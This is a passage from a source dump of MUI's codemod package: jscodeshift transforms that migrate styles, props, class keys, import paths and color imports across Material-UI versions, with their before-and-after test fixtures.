j.identifier('variants'),\n            j.arrayExpression([\n              j.objectExpression([\n                j.objectProperty(j.identifier('props'), buildProps(style.body.left)),\n                j.objectProperty(j.identifier('style'), style.body.right),\n              ]),\n            ]),\n          ),\n        ]);\n      }\n    } else if (style.body.type === 'ConditionalExpression') {\n      // skip ConditionalExpression\n    } else {\n      const expressions = [];\n      if (style.body.type === 'ArrayExpression') {\n        expressions.push(...style.body.elements);\n      } else {\n        expressions.push(style.body);\n      }\n      expressions.forEach((objectExpression) => {\n        let counter = 0;\n        while (objectExpression.type !== 'ObjectExpression' && counter < MAX_DEPTH) {\n          counter += 1;\n          if (objectExpression.type === 'BlockStatement') {\n            objectExpression = objectExpression.body.find(\n              (item) => item.type === 'ReturnStatement',\n            ).argument;\n          }\n        }\n\n        recurseObjectExpression({ node: objectExpression, buildStyle: createBuildStyle() });\n\n        if (variants.length && objectExpression.type === 'ObjectExpression') {\n          objectExpression.properties.push(\n            j.objectProperty(\n              j.identifier('variants'),\n              j.arrayExpression(\n                variants.filter((variant) => {\n                  const props = variant.properties.find((prop) => prop.key.name === 'props');\n                  const styleVal = variant.properties.find((prop) => prop.key.name === 'style');\n                  return (\n                    props &&\n                    styleVal &&\n                    (!styleVal.value.properties || styleVal.value.properties.length > 0) &&\n                    (props.value.type === 'ArrowFunctionExpression' ||\n                      props.value.properties.length > 0)\n                  );\n                }),\n              ),\n            ),\n          );\n        }\n      });\n    }\n\n    function recurseObjectExpression(data) {\n      if (data.node.type === 'ObjectExpression') {\n        const modeStyles = {}; // to collect styles from `theme.palette.mode === '...'`\n        data.node.properties.forEach((prop) => {\n          if (prop.type === 'ObjectProperty') {\n            recurseObjectExpression({\n              ...data,\n              node: prop.value,\n              parentNode: data.node,\n              key: prop.key,\n              buildStyle: createBuildStyle(prop.key, data.buildStyle),\n              replaceValue: (newValue) => {\n                prop.value = newValue;\n              },\n              modeStyles,\n            });\n          } else {\n            recurseObjectExpression({\n              ...data,\n              node: prop,\n              parentNode: data.node,\n              buildStyle: createBuildStyle(prop.key, data.buildStyle),\n            });\n          }\n        });\n        appendPaletteModeStyles(data.node, modeStyles);\n      }\n      if (data.node.type === 'SpreadElement') {\n        if (data.node.argument.type === 'LogicalExpression') {\n          const paramName =\n            data.node.argument.left.type === 'BinaryExpression'\n              ? getObjectKey(data.node.argument.left.left)?.name\n              : getObjectKey(data.node.argument.left)?.name;\n          if (paramName === 'theme' && data.node.argument.left.right.type === 'StringLiteral') {\n            if (data.node.argument.right.type === 'ObjectExpression') {\n              const mode = data.node.argument.left.right.value;\n              data.node.argument.right.properties.forEach((prop) => {\n                if (prop.type === 'ObjectProperty') {\n                  recurseObjectExpression({\n                    ...data,\n                    node: prop.value,\n                    parentNode: data.node.argument.right,\n                    key: prop.key,\n                    buildStyle: createBuildStyle(prop.key, data.buildStyle, mode),\n                    replaceValue: (newValue) => {\n                      prop.value = newValue;\n                    },\n                  });\n                } else {\n                  recurseObjectExpression({\n                    ...data,\n                    node: prop,\n                    parentNode: data.node.argument.right,\n                    buildStyle: createBuildStyle(prop.key, data.buildStyle, mode),\n                  });\n                }\n              });\n              appendPaletteModeStyles(data.parentNode, {\n                [mode]: data.node.argument.right,\n              });\n            }\n            removeProperty(data.parentNode, data.node);\n            return;\n          }\n          if (paramName && !parameters.has(paramName)) {\n            return;\n          }\n\n          const scopeProps = buildProps(data.node.argument.left);\n          const variant = {\n            props: data.props ? mergeProps(data.props, scopeProps) : scopeProps,\n            style: data.node.argument.right,\n          };\n\n          const lastLength = variants.push({}); // preserve the order of the recursive calls\n\n          const modeStyles = {}; // to collect styles from `theme.palette.mode === '...'`\n          if (variant.style.type === 'ObjectExpression') {\n            variant.style.properties.forEach((prop) => {\n              if (prop.type === 'ObjectProperty') {\n                recurseObjectExpression({\n                  ...data,\n                  node: prop.value,\n                  parentNode: variant.style,\n                  props: variant.props,\n                  key: prop.key,\n                  buildStyle: createBuildStyle(prop.key, data.buildStyle),\n                  replaceValue: (newValue) => {\n                    prop.value = newValue;\n                  },\n                  modeStyles,\n                });\n              } else {\n                recurseObjectExpression({\n                  ...data,\n                  node: prop,\n                  parentNode: variant.style,\n                  props: variant.props,\n                  buildStyle: createBuildStyle(prop.key, data.buildStyle),\n                });\n              }\n            });\n          }\n          appendPaletteModeStyles(variant.style, modeStyles);\n          variant.style = data.buildStyle(variant.style);\n          variants[lastLength - 1] = buildObjectAST(variant);\n          removeProperty(data.parentNode, data.node);\n        }\n        if (data.node.argument.type === 'ConditionalExpression') {\n          recurseObjectExpression({\n            ...data,\n            node: data.node.argument,\n            parentNode: data.node,\n          });\n          removeProperty(data.parentNode, data.node);\n        }\n      }\n      if (data.node.type === 'ConditionalExpression') {\n        if (\n          data.node.test.type === 'BinaryExpression' ||\n          data.node.test.type === 'UnaryExpression' ||\n          data.node.test.type === 'Identifier' ||\n          data.node.test.type === 'MemberExpression'\n        ) {\n          let leftName = getObjectKey(data.node.test)?.name;\n          if (data.node.test.left) {\n            leftName = getObjectKey(data.node.test.left)?.name;\n          }\n          if (data.node.test.argument) {\n            leftName = getObjectKey(data.node.test.argument)?.name;\n          }\n          if (parameters.has(leftName) && leftName !== 'theme') {\n            let props = buildProps(data.node.test);\n            if (data.props) {\n              props = mergeProps(data.props, props);\n            }\n            const styleVal = data.buildStyle(data.node.consequent);\n            const variant = {\n              props,\n              style: styleVal,\n            };\n            variants.push(buildObjectAST(variant));\n\n            if (\n              data.node.consequent.type === 'ObjectExpression' &&\n              data.node.alternate.type === 'ObjectExpression'\n            ) {\n              // create another variant with inverted condition\n              let props2 = buildProps(inverseBinaryExpression(data.node.test));\n              if (data.props) {\n                props2 = mergeProps(data.props, props2);\n              }\n              const styleVal2 = data.buildStyle(data.node.alternate);\n              const variant2 = {\n                props: props2,\n                style: styleVal2,\n              };\n              variants.push(buildObjectAST(variant2));\n              if (data.parentNode?.type === 'ObjectExpression') {\n                removeProperty(data.parentNode, data.node);\n              }\n            } else {\n              data.replaceValue?.(data.node.alternate);\n            }\n          }\n          if (\n            leftName === 'theme' &&\n            data.parentNode?.type === 'ObjectExpression' &&\n            data.node.test?.type === 'BinaryExpression' &&\n            isThemePaletteMode(data.node.test.left)\n          ) {\n            if (\n              data.node.consequent.type !== 'ObjectExpression' &&\n              data.node.alternate.type !== 'ObjectExpression'\n            ) {\n              if (data.modeStyles) {\n                if (!data.modeStyles[data.node.test.right.value]) {\n                  data.modeStyles[data.node.test.right.value] = [];\n                }\n                data.modeStyles[data.node.test.right.value].push(\n                  j.objectProperty(data.key, data.node.consequent),\n                );\n              }\n              data.replaceValue?.(data.node.alternate);\n            }\n          }\n        }\n      }\n      if (data.node.type === 'TemplateLiteral') {\n        if (data.parentNode?.type === 'ObjectExpression') {\n          const modeStyles = {};\n          data.node.expressions.forEach((expression, index) => {\n            recurseObjectExpression({\n              ...data,\n              node: expression,\n              parentNode: data.parentNode,\n              buildStyle: createBuildStyle(data.key, data.buildStyle),\n              replaceValue: (newValue) => {\n                data.node.expressions[index] = newValue;\n              },\n              modeStyles,\n            });\n          });\n          if (data.modeStyles) {\n            Object.entries(modeStyles).forEach(([mode, objectStyles]) => {\n              const clonedNode = {\n                ...data.node,\n                expressions: data.node.expressions.map((expression) => ({ ...expression })),\n              };\n              clonedNode.expressions = objectStyles.map((item) => item.value);\n\n              if (!data.modeStyles[mode]) {\n                data.modeStyles[mode] = [];\n              }\n              data.modeStyles[mode].push(j.objectProperty(data.key, clonedNode));\n            });\n            if (data.key) {\n              // to remove the arrow function\n              // { ...: theme => `1px solid...` } to { ...: `1px solid...` }\n              data.replaceValue?.(data.node);\n            }\n          }\n        }\n      }\n      if (\n        data.key &&\n        data.key.type === 'Identifier' &&\n        data.node.type === 'MemberExpression' &&\n        data.node.object.type === 'ObjectExpression' &&\n        parameters.has(getObjectKey(data.node.property).name)\n      ) {\n        data.node.object.properties.forEach((prop) => {\n          variants.push(\n            buildObjectAST({\n              props: j.objectExpression([\n                j.objectProperty(\n                  getIdentifierKey(data.node.property),\n                  j.stringLiteral(prop.key.name),\n                ),\n              ]),\n              style: data.buildStyle(prop.value),\n            }),\n          );\n        });\n        removeProperty(data.parentNode, data.node);\n      }\n    }\n\n    style.params.forEach((param) => {\n      if (param.type === 'ObjectPattern') {\n        param.properties = param.properties.filter((prop) => prop.key.name === 'theme');\n      }\n    });\n\n    if (style.body.type === 'ObjectExpression') {\n      // Remove empty `...theme.applyStyles('...', {})`\n      style.body.properties = style.body.properties.filter((prop) => {\n        if (\n          prop.argument?.callee?.object?.name === 'theme' &&\n          typeof prop.argument?.arguments[0]?.value === 'string' &&\n          !prop.argument?.arguments?.[1]?.properties?.length\n        ) {\n          return false;\n        }\n        return true;\n      });\n    }\n  });\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/propsToObject.js",
    "content": "export default function propsToObject({ j, root, componentName, aliasName, propName, props }) {\n  function buildObject(node, value) {\n    const shorthand = node.value.expression && node.value.expression.name === node.name.name;\n    const property = j.objectProperty(\n      j.identifier(node.name.name),\n      node.value.expression ? node.value.expression : node.value,\n    );\n    property.shorthand = shorthand;\n    value.push(property);\n\n    return value;\n  }\n\n  const result = aliasName\n    ? root.find(j.JSXElement, { openingElement: { name: { property: { name: componentName } } } })\n    : root.findJSXElements(componentName);\n\n  return result.forEach((path) => {\n    if (!aliasName || (aliasName && path.node.openingElement.name.object.name === aliasName)) {\n      let propValue = [];\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        // Only transform whitelisted props\n        if (node.type === 'JSXAttribute' && props.includes(node.name.name)) {\n          propValue = buildObject(node, propValue);\n          delete attributes[index];\n        }\n      });\n      if (propValue.length > 0) {\n        const propNameAttr = attributes.find((attr) => attr?.name?.name === propName);\n        if (propNameAttr) {\n          (propNameAttr.value.expression?.properties || []).push(\n            ...j.objectExpression(propValue).properties,\n          );\n        } else {\n          attributes.push(\n            j.jsxAttribute(\n              j.jsxIdentifier(propName),\n              j.jsxExpressionContainer(j.objectExpression(propValue)),\n            ),\n          );\n        }\n      }\n    }\n  });\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/readFile.js",
    "content": "import fs from 'fs';\nimport { EOL } from 'os';\n\nexport default function readFile(filePath) {\n  const fileContents = fs.readFileSync(filePath, 'utf8').toString();\n  if (EOL !== '\\n') {\n    return fileContents.replace(/\\n/g, EOL);\n  }\n\n  return fileContents;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/renameClassKey.js",
    "content": "export default function renameClassKey({ root, componentName, classes, printOptions }) {\n  const source = root\n    .findJSXElements(componentName)\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'classes') {\n          node.value?.expression?.properties?.forEach((subNode) => {\n            if (Object.keys(classes).includes(subNode.key.name)) {\n              subNode.key.name = classes[subNode.key.name];\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n  return Object.entries(classes).reduce((result, [currentKey, newKey]) => {\n    const regex = new RegExp(`.Mui${componentName}-${currentKey}`, 'gm');\n    return result.replace(regex, `.Mui${componentName}-${newKey}`);\n  }, source);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/renameProps.js",
    "content": "export default function renameProps({ root, componentName, props }) {\n  return root.findJSXElements(componentName).forEach((path) => {\n    path.node.openingElement.attributes.forEach((node) => {\n      if (node.type === 'JSXAttribute' && Object.keys(props).includes(node.name.name)) {\n        node.name.name = props[node.name.name];\n      }\n    });\n  });\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v0.15.0/import-path.js",
    "content": "const pathConversion = {\n  'app-bar': 'AppBar',\n  'auto-complete': 'AutoComplete',\n  avatar: 'Avatar',\n  badge: 'Badge',\n  'flat-button': 'FlatButton',\n  'raised-button': 'RaisedButton',\n  'floating-action-button': 'FloatingActionButton',\n  'icon-button': 'IconButton',\n  'card/card': 'Card/Card',\n  'card/card-actions': 'Card/CardActions',\n  'card/card-header': 'Card/CardHeader',\n  'card/card-media': 'Card/CardMedia',\n  'card/card-title': 'Card/CardTitle',\n  'card/card-text': 'Card/CardText',\n  'date-picker/date-picker': 'DatePicker',\n  dialog: 'Dialog',\n  divider: 'Divider',\n  'grid-list/grid-list': 'GridList/GridList',\n  'grid-list/grid-tile': 'GridList/GridTile',\n  'font-icon': 'FontIcon',\n  'svg-icon': 'SvgIcon',\n  'left-nav': 'Drawer',\n  'lists/list': 'List/List',\n  'lists/list-item': 'List/ListItem',\n  'menus/menu': 'Menu',\n  'menus/menu-item': 'MenuItem',\n  'menus/icon-menu': 'IconMenu',\n  paper: 'Paper',\n  'popover/popover': 'Popover',\n  'circular-progress': 'CircularProgress',\n  'linear-progress': 'LinearProgress',\n  'refresh-indicator': 'RefreshIndicator',\n  'select-field': 'SelectField',\n  slider: 'Slider',\n  checkbox: 'Checkbox',\n  'radio-button': 'RadioButton',\n  'radio-button-group': 'RadioButton/RadioButtonGroup',\n  toggle: 'Toggle',\n  snackbar: 'Snackbar',\n  'table/table': 'Table/Table',\n  'table/table-header-column': 'Table/TableHeaderColumn',\n  'table/table-row': 'Table/TableRow',\n  'table/table-header': 'Table/TableHeader',\n  'table/table-row-column': 'Table/TableRowColumn',\n  'table/table-body': 'Table/TableBody',\n  'table/table-footer': 'Table/TableFooter',\n  'tabs/tab': 'Tabs/Tab',\n  'tabs/tabs': 'Tabs/Tabs',\n  'text-field': 'TextField',\n  'time-picker/time-picker': 'TimePicker',\n  'toolbar/toolbar': 'Toolbar/Toolbar',\n  'toolbar/toolbar-group': 'Toolbar/ToolbarGroup',\n  'toolbar/toolbar-separator': 'Toolbar/ToolbarSeparator',\n  'toolbar/toolbar-title': 'Toolbar/ToolbarTitle',\n  MuiThemeProvider: 'styles/MuiThemeProvider',\n};\n\nconst pathBaseSource = ['material-ui/src/', 'material-ui/src/'];\nconst pathBasePackage = ['material-ui/lib/', 'material-ui/'];\n\nfunction getPathsBase(path) {\n  if (path.startsWith(pathBaseSource[0])) {\n    return pathBaseSource;\n  }\n\n  if (path.startsWith(pathBasePackage[0])) {\n    return pathBasePackage;\n  }\n\n  return new Error('Wrong path');\n}\n\nexport default function transformer(fileInfo, api) {\n  const j = api.jscodeshift;\n\n  return j(fileInfo.source)\n    .find(j.ImportDeclaration)\n    .filter((path) => path.value.source.value.indexOf('material-ui/') === 0)\n    .replaceWith((path) => {\n      const pathOld = path.value.source.value;\n      const pathsBase = getPathsBase(pathOld);\n      const pathSuffix = pathOld.substring(pathsBase[0].length);\n\n      let pathNew;\n\n      if (pathConversion[pathSuffix]) {\n        pathNew = pathsBase[1] + pathConversion[pathSuffix];\n      } else {\n        pathNew = pathsBase[1] + pathSuffix;\n      }\n\n      return j.importDeclaration(path.node.specifiers, j.literal(pathNew));\n    })\n    .toSource({\n      quote: 'single',\n    });\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v0.15.0/import-path.test/actual.js",
    "content": "import FlatButton from 'material-ui/src/flat-button';\nimport RaisedButton from 'material-ui/lib/raised-button';\nimport SvgIcon from 'material-ui/lib/svg-icon';\nimport Colors from 'material-ui/lib/styles/colors';\nimport NavigationExpandMoreIcon from 'material-ui/lib/svg-icons/navigation/expand-more';\n"
  },
  {
    "path": "packages/mui-codemod/src/v0.15.0/import-path.test/expected.js",
    "content": "import FlatButton from 'material-ui/src/FlatButton';\nimport RaisedButton from 'material-ui/RaisedButton';\nimport SvgIcon from 'material-ui/SvgIcon';\nimport Colors from 'material-ui/styles/colors';\nimport NavigationExpandMoreIcon from 'material-ui/svg-icons/navigation/expand-more';\n"
  },
  {
    "path": "packages/mui-codemod/src/v0.15.0/import-path.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './import-path';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str.replace(/^\\s+|\\s+$/, '');\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v0.15.0', () => {\n    describe('import-path', () => {\n      it('convert path as needed', () => {\n        const actual = transform({ source: read('./import-path.test/actual.js') }, { jscodeshift });\n\n        const expected = read('./import-path.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/color-imports.js",
    "content": "// This codemod attempts to fix the color imports breaking change introduced in\n// https://github.com/mui/material-ui/releases/tag/v1.0.0-alpha.21\n\n// List of colors that are in the `common` module\nconst commonColors = [\n  'black',\n  'white',\n  'transparent',\n  'fullBlack',\n  'darkBlack',\n  'lightBlack',\n  'minBlack',\n  'faintBlack',\n  'fullWhite',\n  'darkWhite',\n  'lightWhite',\n];\n\n/**\n * Break down `colorIdentifier` into its `palette` and `hue`\n * e.g. lightBlue600 -> [lightBlue, 600]\n * @param {string} colorIdentifier\n */\nfunction colorAccent(colorIdentifier) {\n  const [, palette, hue] = colorIdentifier.match(/([A-Za-z]+?)(A?\\d+)?$/);\n  return { palette, hue };\n}\n\n/**\n * Return color module path\n * @param {string} colorPalette\n */\nfunction colorImportPath(colorPalette) {\n  return commonColors.includes(colorPalette) ? 'common' : colorPalette;\n}\n\n/**\n * Replace all expressions that use identifier to access color palettes.\n * e.g. colors.amber100 -> colors.amber['100']\n * @param {string} identifier\n * @param {jscodeshift_api_object} j\n * @param {jscodeshift_ast_object} root\n */\nfunction transformMemberExpressions(identifier, j, root) {\n  // replace all expressions using `identifier` to access color palettes\n  root.find(j.MemberExpression).forEach((path) => {\n    if (path.node.object.name !== identifier) {\n      return;\n    }\n\n    const colorProperty = path.node.property.name;\n    const { palette, hue } = colorAccent(colorProperty);\n    const colorModuleName = colorImportPath(palette);\n    const property = hue || palette;\n\n    path.node.property =\n      hue || colorModuleName === 'common'\n        ? j.memberExpression(\n            j.identifier(colorModuleName),\n            /^[_|a-z]/i.test(property) ? j.identifier(property) : j.literal(property),\n          )\n        : j.identifier(colorModuleName);\n  });\n}\n\n/**\n * Replace all member imports.\n * e.g. import { red, blue } from 'material-ui/styles/colors'\n * @param {jscodeshift_api_object} j\n * @param {jscodeshift_ast_object} root\n * @param {string} importPath\n * @param {string} targetPath\n */\nfunction transformMemberImports(j, root, importPath, targetPath) {\n  // find member imports\n  root.find(j.ImportDeclaration, { source: { value: importPath } }).forEach((importDeclaration) => {\n    const memberImportSpecifiers = importDeclaration.node.specifiers.filter(\n      (specifier) => specifier.type === 'ImportSpecifier',\n    );\n    if (memberImportSpecifiers.length) {\n      j(importDeclaration).replaceWith(() => {\n        const importDeclarations = [];\n        const assignmentExpressions = [];\n\n        memberImportSpecifiers.forEach((memberSpecifier) => {\n          const { palette, hue } = colorAccent(memberSpecifier.imported.name);\n          const colorModuleName = colorImportPath(palette);\n          const modulePath = `${targetPath}/${colorModuleName}`;\n          const colorIdentifier = j.identifier(colorModuleName);\n\n          // import color module (if not already imported)\n          if (!importDeclarations.map((p) => p.source.value).includes(modulePath)) {\n            importDeclarations.push(\n              j.importDeclaration(\n                [j.importDefaultSpecifier(colorIdentifier)],\n                j.literal(modulePath),\n              ),\n            );\n          }\n\n          // conditional assignment expression\n          if (hue || colorModuleName === 'common') {\n            const property = hue || palette;\n            assignmentExpressions.push(\n              j.variableDeclaration('const', [\n                j.variableDeclarator(\n                  j.identifier(memberSpecifier.local.name),\n                  j.memberExpression(\n                    colorIdentifier,\n                    /^[_|a-z]/i.test(property) ? j.identifier(property) : j.literal(property),\n                  ),\n                ),\n              ]),\n            );\n          }\n        });\n\n        return importDeclarations.concat(assignmentExpressions);\n      });\n    }\n  });\n}\n\n/**\n * Replace all namespace imports.\n * e.g. import * as colors from 'material-ui/styles/colors'\n * @param {jscodeshift_api_object} j\n * @param {jscodeshift_ast_object} root\n * @param {string} importPath\n * @param {string} targetPath\n */\nfunction transformNamespaceImports(j, root, importPath, targetPath) {\n  // find namespace imports\n  root.find(j.ImportDeclaration, { source: { value: importPath } }).forEach((importDeclaration) => {\n    const namespaceImportSpecifier = importDeclaration.node.specifiers.find(\n      (specifier) => specifier.type === 'ImportNamespaceSpecifier',\n    );\n    if (namespaceImportSpecifier) {\n      j(importDeclaration).replaceWith(\n        j.importDeclaration(\n          [j.importNamespaceSpecifier(j.identifier(namespaceImportSpecifier.local.name))],\n          j.literal(targetPath),\n        ),\n      );\n      transformMemberExpressions(namespaceImportSpecifier.local.name, j, root);\n    }\n  });\n}\n\nmodule.exports = function transformer(fileInfo, api, options = {}) {\n  const j = api.jscodeshift;\n  const root = j(fileInfo.source);\n  const importPath = options.importPath || 'material-ui/styles/colors';\n  const targetPath = options.targetPath || '@material-ui/core/colors';\n\n  // transforms\n  transformMemberImports(j, root, importPath, targetPath);\n  transformNamespaceImports(j, root, importPath, targetPath);\n\n  return root.toSource({ quote: 'single' });\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/color-imports.test/actual.js",
    "content": "import { blue, teal500, fullWhite, fullBlack } from 'material-ui/styles/colors';\nimport { lightBlue600 as primaryColor, orangeA200 } from 'material-ui/styles/colors';\nimport * as muiColors from 'material-ui/styles/colors';\n\nlet randomColorUsedFromCollection = muiColors.amber100;\nconsole.log(muiColors.transparent);\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/color-imports.test/expected.js",
    "content": "import blue from '@material-ui/core/colors/blue';\nimport teal from '@material-ui/core/colors/teal';\nimport common from '@material-ui/core/colors/common';\nconst teal500 = teal['500'];\nconst fullWhite = common.fullWhite;\nconst fullBlack = common.fullBlack;\nimport lightBlue from '@material-ui/core/colors/lightBlue';\nimport orange from '@material-ui/core/colors/orange';\nconst primaryColor = lightBlue['600'];\nconst orangeA200 = orange.A200;\nimport * as muiColors from '@material-ui/core/colors';\n\nlet randomColorUsedFromCollection = muiColors.amber['100'];\nconsole.log(muiColors.common.transparent);\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/color-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './color-imports';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str.replace(/^\\s+|\\s+$/, '');\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v1.0.0', () => {\n    describe('color-imports', () => {\n      it('update color module imports', () => {\n        const actual = transform(\n          { source: read('./color-imports.test/actual.js') },\n          { jscodeshift },\n        );\n\n        const expected = read('./color-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/import-path.js",
    "content": "const entryModuleToFlatten = [\n  'BottomNavigation',\n  'BottomNavigationAction',\n  'Card',\n  'CardActions',\n  'CardContent',\n  'CardHeader',\n  'CardMedia',\n  'CircularProgress',\n  'ClickAwayListener',\n  'Collapse',\n  'Dialog',\n  'DialogActions',\n  'DialogContent',\n  'DialogContentText',\n  'DialogTitle',\n  'ExpansionPanel',\n  'ExpansionPanelActions',\n  'ExpansionPanelDetails',\n  'ExpansionPanelSummary',\n  'Fade',\n  'Form',\n  'FormControl',\n  'FormControlLabel',\n  'FormGroup',\n  'FormHelperText',\n  'FormLabel',\n  'GridList',\n  'GridListTile',\n  'Grow',\n  'Input',\n  'InputLabel',\n  'LinearProgress',\n  'List',\n  'ListItem',\n  'ListItemAvatar',\n  'ListItemIcon',\n  'ListItemSecondaryAction',\n  'ListItemText',\n  'ListSubheader',\n  'Menu',\n  'MenuItem',\n  'Progress',\n  'Radio',\n  'RadioGroup',\n  'Slide',\n  'Step',\n  'StepButton',\n  'StepContent',\n  'Stepper',\n  'Stepper',\n  'Tab',\n  'Table',\n  'TableBody',\n  'TableCell',\n  'TableFooter',\n  'TableHead',\n  'TablePagination',\n  'TableRow',\n  'Tabs',\n  'withWidth',\n  'Zoom',\n];\n\nconst keepSpecifiers = ['withWidth'];\n\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  let hasModifications = false;\n  const printOptions = options.printOptions || {\n    quote: 'single',\n    trailingComma: true,\n  };\n\n  const importModule = options.importModule || '@material-ui/core';\n  const targetModule = options.targetModule || '@material-ui/core';\n\n  const root = j(fileInfo.source);\n  const importRegExp = new RegExp(`^${importModule}/(.+)$`);\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    const importPath = path.value.source.value;\n    let entryModule = importPath.match(importRegExp);\n\n    // Remove non-MUI imports\n    if (!entryModule) {\n      return;\n    }\n    entryModule = entryModule[1].split('/');\n    entryModule = entryModule[entryModule.length - 1];\n\n    // No need to flatten\n    if (!entryModuleToFlatten.includes(entryModule)) {\n      return;\n    }\n\n    hasModifications = true;\n\n    if (keepSpecifiers.includes(entryModule)) {\n      path.value.source.value = `${targetModule}/${entryModule}`;\n      return;\n    }\n\n    path.node.specifiers.forEach((specifier) => {\n      const localName = specifier.local.name;\n      const importedName = specifier.imported ? specifier.imported.name : null;\n\n      if (!importedName) {\n        const importStatement = j.importDeclaration(\n          [j.importDefaultSpecifier(j.identifier(localName))],\n          j.literal(`${targetModule}/${entryModule}`),\n        );\n\n        j(path).insertBefore(importStatement);\n      } else {\n        const importStatement = j.importDeclaration(\n          [j.importDefaultSpecifier(j.identifier(localName))],\n          j.literal(`${targetModule}/${importedName}`),\n        );\n\n        j(path).insertBefore(importStatement);\n      }\n    });\n\n    path.prune();\n  });\n\n  return hasModifications ? root.toSource(printOptions) : null;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/import-path.test/actual.js",
    "content": "\nimport { withStyles } from '@material-ui/core/styles';\nimport { MenuItem } from '@material-ui/core/Menu';\nimport MuiTabs, { Tab } from '@material-ui/core/Tabs';\nimport BottomNavigation, { BottomNavigationAction } from '@material-ui/core/BottomNavigation';\nimport Card, { CardActions, CardContent } from '@material-ui/core/Card';\nimport { CardHeader, CardMedia } from '@material-ui/core/Card';\nimport MuiCollapse from '@material-ui/core/transitions/Collapse';\nimport List, {\n  ListItemIcon,\n  ListItem,\n  ListItemAvatar,\n  ListItemText,\n  ListItemSecondaryAction,\n} from '@material-ui/core/List';\nimport Dialog, { DialogTitle } from '@material-ui/core/Dialog';\nimport { DialogActions, DialogContent, DialogContentText } from '@material-ui/core/Dialog';\nimport Slide from '@material-ui/core/transitions/Slide';\nimport Radio, { RadioGroup } from '@material-ui/core/Radio';\nimport { FormControlLabel } from '@material-ui/core/Form';\nimport ExpansionPanel, {\n  ExpansionPanelSummary,\n  ExpansionPanelDetails,\n  ExpansionPanelActions,\n} from '@material-ui/core/ExpansionPanel';\nimport GridList, { GridListTile } from '@material-ui/core/GridList';\nimport { CircularProgress } from '@material-ui/core/Progress';\nimport { LinearProgress as MuiLinearProgress } from '@material-ui/core/Progress';\nimport { FormLabel, FormControl, FormGroup, FormHelperText } from '@material-ui/core/Form';\nimport Fade from '@material-ui/core/transitions/Fade';\nimport Stepper, { Step, StepButton, StepContent } from '@material-ui/core/Stepper';\nimport Table, { TableBody, TableCell, TablePagination, TableRow } from '@material-ui/core/Table';\nimport TableHead from '@material-ui/core/Table/TableHead';\nimport Input, { InputLabel } from '@material-ui/core/Input';\nimport Grow from '@material-ui/core/transitions/Grow';\nimport TableFooter from '@material-ui/core/Table/TableFooter';\nimport withWidth, { isWidthUp } from '@material-ui/core/utils/withWidth';\nimport Zoom from '@material-ui/core/transitions/Zoom';\nimport ClickAwayListener from '@material-ui/core/utils/ClickAwayListener';\nimport ListSubheader from '@material-ui/core/List/ListSubheader';\n"
  },
  {
    "path": "packages/mui-codemod/src/v1.0.0/import-path.test/expected.js",
    "content": "\nimport { withStyles } from '@material-ui/core/styles';\nimport MenuItem from '@material-ui/core/MenuItem';\nimport Tab from '@material-ui/core/Tab';\nimport MuiTabs from '@material-ui/core/Tabs';\nimport BottomNavigationAction from '@material-ui/core/BottomNavigationAction';\nimport BottomNavigation from '@material-ui/core/BottomNavigation';\nimport CardContent from '@material-ui/core/CardContent';\nimport CardActions from '@material-ui/core/CardActions';\nimport Card from '@material-ui/core/Card';\nimport CardMedia from '@material-ui/core/CardMedia';\nimport CardHeader from '@material-ui/core/CardHeader';\nimport MuiCollapse from '@material-ui/core/Collapse';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport ListItemAvatar from '@material-ui/core/ListItemAvatar';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport List from '@material-ui/core/List';\nimport DialogTitle from '@material-ui/core/DialogTitle';\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogContentText from '@material-ui/core/DialogContentText';\nimport DialogContent from '@material-ui/core/DialogContent';\nimport DialogActions from '@material-ui/core/DialogActions';\nimport Slide from '@material-ui/core/Slide';\nimport RadioGroup from '@material-ui/core/RadioGroup';\nimport Radio from '@material-ui/core/Radio';\nimport FormControlLabel from '@material-ui/core/FormControlLabel';\nimport ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions';\nimport ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';\nimport ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';\nimport ExpansionPanel from '@material-ui/core/ExpansionPanel';\nimport GridListTile from '@material-ui/core/GridListTile';\nimport GridList from '@material-ui/core/GridList';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport MuiLinearProgress from '@material-ui/core/LinearProgress';\nimport FormHelperText from '@material-ui/core/FormHelperText';\nimport FormGroup from '@material-ui/core/FormGroup';\nimport FormControl 